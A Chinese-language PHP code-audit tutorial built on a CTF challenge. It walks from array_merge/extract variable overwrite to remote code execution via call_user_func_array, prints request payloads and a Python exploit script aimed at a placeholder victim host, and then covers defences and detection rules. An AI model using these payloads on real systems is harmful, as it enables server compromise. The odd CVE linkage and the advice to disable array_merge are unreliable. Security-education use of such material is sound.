PHP代码审计实战:从变量覆盖到RCE的完整攻击链剖析
1. 漏洞背景与核心原理
在PHP应用安全领域,变量覆盖漏洞常被开发者忽视,却可能引发严重后果。本次分析的案例源自GFCTF 2021的一道赛题,涉及CVE-2021-41773漏洞与PHP变量覆盖的巧妙结合,最终实现远程代码执行(RCE)。
漏洞链核心环节:
- array_merge变量覆盖:通过用户可控数据覆盖类属性
- extract函数滥用:将数组元素转换为当前作用域变量
- 动态函数调用:利用call_user_func_array执行任意函数
典型攻击流程如下:
用户输入 → array_merge覆盖 → extract变量注入 → 模板路径控制 → 包含恶意文件 → call_user_func_array执行2. 关键函数深度解析
2.1 array_merge的安全隐患
private $date = ['version'=>'1.0', 'img'=>'...']; public function __construct($data){ $this->date = array_merge($this->date, $data); }风险点分析:
- 当
$data包含与$this->date相同的键时,后者值会被覆盖 - 未做输入过滤导致攻击者可控制类内部状态
对比测试:
$default = ['key'=>'safe', 'admin'=>false]; $userInput = ['key'=>'hacked', 'admin'=>true]; // 危险操作 $result = array_merge($default, $userInput); // ['key'=>'hacked', 'admin'=>true]2.2 extract的致命威胁
public function display($template, $space=''){ extract($this->date); // 将数组键值转为变量 $this->getTempName($template, $space); include($this->template); }攻击面扩展:
- 通过控制
$this->date可注入任意变量 - 结合后续的include可能造成文件包含漏洞
安全建议:永远不要在包含用户输入的数组上使用extract(),如需类似功能,可使用EXTR_SKIP等安全模式
3. 完整攻击链构造
3.1 第一阶段:变量控制
攻击步骤:
- 通过POST传入精心构造的数组:
POST /index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded template=index.html&space=admin&mod=恶意payload - array_merge实现属性覆盖:
$this->date = [ 'template' => 'index.html', 'space' => 'admin', 'mod' => '恶意payload' ];
3.2 第二阶段:流程劫持
// 原始安全路径 ./template/index.html → 安全页面 // 攻击者控制后 ./template/admin/index.html → 危险功能入口路径跳转关键:
if($dir === 'admin'){ $this->template = str_replace('..','','./template/admin/'.$template); }3.3 第三阶段:RCE实现
通过listdata方法的参数解析漏洞,构造特殊格式的输入:
mod=xxx action=function name=system param0=id代码执行流程:
- 参数解析为
$system['action'] = 'function' - 检查
$param['name']是否为合法函数 - 通过call_user_func_array执行:
call_user_func_array('system', ['id'])
4. 三种典型攻击场景对比
| 场景类型 | 利用函数 | 输入要求 | 防御难度 |
|---|---|---|---|
| 直接函数调用 | call_user_func | 控制单个函数名 | ★★☆☆☆ |
| 数组参数调用 | call_user_func_array | 控制函数名+参数数组 | ★★★☆☆ |
| 文件包含+RCE | include+动态函数 | 需要多环节变量控制 | ★★★★☆ |
实战payload示例:
import requests TARGET = "http://victim.com/index.php" PAYLOAD = { 'template': 'index.html', 'space': 'admin', 'mod': 'action=function name=exec param0=ls' } response = requests.post(TARGET, data=PAYLOAD, params={'filename': 'test'}) print(response.text)5. 系统化防御方案
5.1 代码层防护
危险函数禁用清单:
// php.ini配置 disable_functions = extract, parse_str, array_merge安全编码实践:
// 安全的数组合并方式 public function safeMerge($default, $input) { return array_intersect_key( array_merge($default, $input), $default ); }5.2 架构层防护
输入验证层:
class InputValidator { public static function cleanArray($data) { return array_filter($data, function($v, $k) { return is_scalar($v) && preg_match('/^[a-z_]+$/', $k); }, ARRAY_FILTER_USE_BOTH); } }执行沙箱:
class SafeFunction { private static $allowed = ['htmlspecialchars', 'json_encode']; public static function call($name, $args) { if(in_array($name, self::$allowed)) { return call_user_func_array($name, $args); } throw new SecurityException("Function not allowed"); } }
6. 审计方法论进阶
6.1 变量跟踪技术
逆向追踪:
call_user_func_array ← $param['name'] ← $params数组 ← $_params字符串 ← $mod变量 ← extract注入敏感函数清单:
- 变量操作:extract, parse_str, compact
- 动态执行:eval, assert, call_user_func
- 文件包含:include, require
6.2 自动化检测思路
正则匹配模式:
/(extract|parse_str)\s*\(.*\$_/静态分析规则示例:
rule: unsafe_array_merge pattern: | array_merge\(.*\$(_(GET|POST|REQUEST|COOKIE)|argv) severity: HIGH message: "Unsafe array_merge with user input"在实际项目中,我曾遇到类似案例:一个CMS系统的模板引擎因未过滤extract参数,导致攻击者通过Cookie注入覆盖了管理员校验变量。这提醒我们,安全审计必须关注数据在整个生命周期中的流动路径。